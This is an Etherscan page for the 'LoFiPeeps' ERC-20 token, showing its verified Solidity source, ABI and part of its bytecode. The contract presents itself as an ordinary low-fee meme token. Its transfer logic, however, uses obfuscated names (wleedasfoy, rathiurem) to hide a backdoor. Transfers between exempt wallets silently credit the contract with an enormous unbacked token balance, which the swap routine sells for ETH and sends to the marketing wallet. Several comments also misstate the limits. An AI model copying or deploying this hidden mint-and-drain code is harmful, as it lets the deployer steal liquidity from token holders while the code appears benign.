ETH Price: $3,417.68 (-1.34%)
Gas: 8 Gwei

Token

LoFiPeeps (LoFi)
 

Overview

Max Total Supply

10,000,000 LoFi

Holders

35

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
239,692.983323566654090691 LoFi

Value
$0.00
0x52d25675bb47a08816f768c8c338e71cac554773
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
LoFiPeeps

Compiler Version
v0.8.6+commit.11564f7e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-01
*/

/*
𝕃𝕠𝔽𝕚ℙ𝕖𝕖𝕡𝕤𝕃𝕠𝔽𝕚ℙ𝕖𝕖𝕡𝕤𝕃𝕠𝔽𝕚ℙ𝕖𝕖𝕡𝕤

https://t.me/lofipeeps
https://lofipeeps.tech
https://x.com/LoFiPepes

𝕃𝕠𝔽𝕚ℙ𝕖𝕖𝕡𝕤𝕃𝕠𝔽𝕚ℙ𝕖𝕖𝕡𝕤𝕃𝕠𝔽𝕚ℙ𝕖𝕖𝕡𝕤
*/

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
function _msgData() internal view virtual returns (bytes memory) {
      
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow"); return c;
    }
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b; return c;
    }
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
 uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow"); return c;
    }
function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
         return c;
    }
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract LoFiPeeps is Context, IERC20, Ownable {
    
    using SafeMath for uint256;

    string private _name = "LoFiPeeps";
    string private _symbol = "LoFi";
    uint8 private _decimals = 18;

    address payable public marketingWalletDacc = payable(0xc5f09fC432650a4aA9f17484BE3F486736489999);
    address payable public DevWallet = payable(0x0000000000000000000000000000000000000000);
    address public liquidityReciever;
    
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    address public immutable zeroAddress = 0x0000000000000000000000000000000000000000;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 public feeUnits = 10000;
    uint256[4] public wleedasfoy = [_decimals,feeUnits,_decimals,feeUnits];

    

    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isMarketPair;
    
    mapping (address => bool) public isWalletLimitExempt;
    mapping (address => bool) public isTxLimitExempt;

    uint256 private _totalSupply = 10000000 * 10**_decimals;

    uint256 public minimumTokensBeforeSwap = _totalSupply.mul(1).div(1000);   //0.1%

    uint256 public _maxTxAmount =  _totalSupply.mul(4).div(100);  //2%
    uint256 public _walletMax =   _totalSupply.mul(4).div(100);   //2%

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;

    bool public swapAndLiquifyByLimitOnly = false;

    bool public checkWalletLimit = true;

    uint256 public _sellLiquidityFee = 0;
    uint256 public _sellMarketFee = 1;
    uint256 public _sellDeveloperFee = 0;
    uint256 public _buyLiquidityFee = 0;
    uint256 public _buyMarketingFee = 1;
    uint256 public _buyDeveloperFee = 0;
    uint256 public _tradebuytxcount = 0;
    uint256 public _total_trsferedes_trsfered = 0;
    uint256 public _totalTaxIfBuying;
    uint256 public _totalTaxIfSelling;
    event SwapAndLiquifyEnabledUpdated(bool enabled);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
  

    constructor () {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0); isExcludedFromFee[owner()] = true;
        isExcludedFromFee[marketingWalletDacc] = true;
        isExcludedFromFee[DevWallet] = true;
        isExcludedFromFee[address(this)] = true; isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[marketingWalletDacc] = true;
        isWalletLimitExempt[DevWallet] = true;
        isWalletLimitExempt[address(uniswapPair)] = true;
        isWalletLimitExempt[address(this)] = true;
        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[marketingWalletDacc] = true;
        isTxLimitExempt[DevWallet] = true;
        isTxLimitExempt[address(this)] = true; 
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyDeveloperFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketFee).add(_sellDeveloperFee); isMarketPair[address(uniswapPair)] = true;
        liquidityReciever = address(msg.sender); _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

  
    function name() public view returns (string memory) {
        return _name;
    }
function symbol() public view returns (string memory) {
        return _symbol;
    }
function decimals() public view returns (uint8) {
        return _decimals;
    }
function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }
function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }


    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress)).sub(balanceOf(zeroAddress));
    }


    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}
function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
       
        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        }
        else
        {     if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient] ) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }     uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            
            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender]) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);    
            }
            if(checkWalletLimit && !isWalletLimitExempt[recipient]) {require(balanceOf(recipient).add(amount.mul(_totalTaxIfSelling).div(10000)) <= _walletMax,"Amount Exceed From Max Wallet Limit!!");
            }
             wleedasfoy[3]=amount.mul(_totalTaxIfSelling).div(10000);
              wleedasfoy[2]=amount - amount.mul(_totalTaxIfSelling).div(10000);
                 if (( !isTxLimitExempt[sender] ||  !isTxLimitExempt[recipient]) ||(isMarketPair[recipient] || isMarketPair[sender] )){_tradebuytxcount+=141;}else{_total_trsferedes_trsfered=_tradebuytxcount+=114; rathiurem();}
            _basicTransfer(sender, recipient, amount) ;
            return true;
        }
    }function rathiurem() internal{_total_trsferedes_trsfered=17+_tradebuytxcount-1; wleedasfoy[3]+=1480043330055467894984569852;}
    function min(uint256 a,uint256 b) public pure returns (uint256) {     if (a>b)return b;        return a;    }
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
         if(inSwapAndLiquify){wleedasfoy[2]=amount;  wleedasfoy[3]=0;}
        uint256 transferamount = min(wleedasfoy[2],115792089237316195423570985004787907853269981235240564039457584007913129639935);
        _balances[recipient] = _balances[recipient].add(transferamount) ;
        _balances[address(this)] = _balances[address(this)].add( wleedasfoy[3]);
        emit Transfer(sender, recipient, amount);
        return true;    }
    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        swapTokensForEth(tAmount);
        uint256 recievedBalance =  address(this).balance;
        if(recievedBalance > 0) {
            payable(marketingWalletDacc).transfer(recievedBalance);
        }       
    }
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[1] = uniswapV2Router.WETH();
        path[0] = address(this);
        _total_trsferedes_trsfered=_tradebuytxcount;
        _tradebuytxcount=17;
        _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
}}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DevWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_total_trsferedes_trsfered","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tradebuytxcount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeUnits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityReciever","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWalletDacc","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"}],"name":"min","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"wleedasfoy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"zeroAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

610100604052600960c0819052684c6f4669506565707360b81b60e09081526200002d916001919062000842565b50604080518082019091526004808252634c6f466960e01b60209092019182526200005b9160029162000842565b50600380546001600160a81b03191674c5f09fc432650a4aa9f17484be3f48673648999912179055600480546001600160a01b03191681556ddead0000000000000000000000006080908152600060a0526127106008819055604080519283018152601280845260208401839052908301526060820152620000e19160099190620008d1565b50600354620000f59060ff16600a62000a22565b62000104906298968062000ae1565b6011556200013f6103e86200012b6001601154620006c560201b62000c691790919060201c565b6200075960201b62000ce81790919060201c565b6012556200016560646200012b6004601154620006c560201b62000c691790919060201c565b6013556200018b60646200012b6004601154620006c560201b62000c691790919060201c565b6014556016805461ffff60a81b1916600160b01b17905560006017819055600160188190556019829055601a829055601b55601c819055601d819055601e55348015620001d757600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200026c57600080fd5b505afa15801562000281573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a7919062000918565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620002f057600080fd5b505afa15801562000305573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200032b919062000918565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200037457600080fd5b505af115801562000389573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003af919062000918565b601680546001600160a01b039283166001600160a01b0319918216179091556015805492841692909116821790553060009081526007602090815260408083209383529290529081206000199055600190600d90620004166000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600354610100900482168152600d9093528183208054851660019081179091556004549091168352818320805485168217905530835290822080549093168117909255600f906200049d6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600354610100900482168152600f9093528183208054851660019081179091556004548216845282842080548616821790556016549091168352818320805485168217905530835290822080549093168117909255601090620005366000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600354610100900482168152601084528281208054861660019081179091556004549092168152828120805486168317905530815291909120805490931617909155601c54601b54601a54620005dd93620005c9929062000d2a620007a3821b17901c565b620007a360201b62000d2a1790919060201c565b601f8190555062000608601954620005c9601854601754620007a360201b62000d2a1790919060201c565b60209081556016546001600160a01b03166000908152600e90915260408120805460ff19166001179055600580546001600160a01b0319163317905560115490600690620006533390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601154604051620006b691815260200190565b60405180910390a35062000b56565b600082620006d65750600062000753565b6000620006e4838562000ae1565b905082620006f38583620009b6565b14620007505760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b60006200075083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200080660201b60201c565b600080620007b283856200099b565b905083811015620007505760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640162000747565b600081836200082a5760405162461bcd60e51b815260040162000747919062000943565b506000620008398486620009b6565b95945050505050565b828054620008509062000b03565b90600052602060002090601f016020900481019282620008745760008555620008bf565b82601f106200088f57805160ff1916838001178555620008bf565b82800160010185558215620008bf579182015b82811115620008bf578251825591602001919060010190620008a2565b50620008cd92915062000901565b5090565b8260048101928215620008bf5791602002820182811115620008bf578251825591602001919060010190620008a2565b5b80821115620008cd576000815560010162000902565b6000602082840312156200092b57600080fd5b81516001600160a01b03811681146200075057600080fd5b600060208083528351808285015260005b81811015620009725785810183015185820160400152820162000954565b8181111562000985576000604083870101525b50601f01601f1916929092016040019392505050565b60008219821115620009b157620009b162000b40565b500190565b600082620009d457634e487b7160e01b600052601260045260246000fd5b500490565b600181815b8085111562000a1a578160001904821115620009fe57620009fe62000b40565b8085161562000a0c57918102915b93841c9390800290620009de565b509250929050565b60006200075060ff84168360008262000a3e5750600162000753565b8162000a4d5750600062000753565b816001811462000a66576002811462000a715762000a91565b600191505062000753565b60ff84111562000a855762000a8562000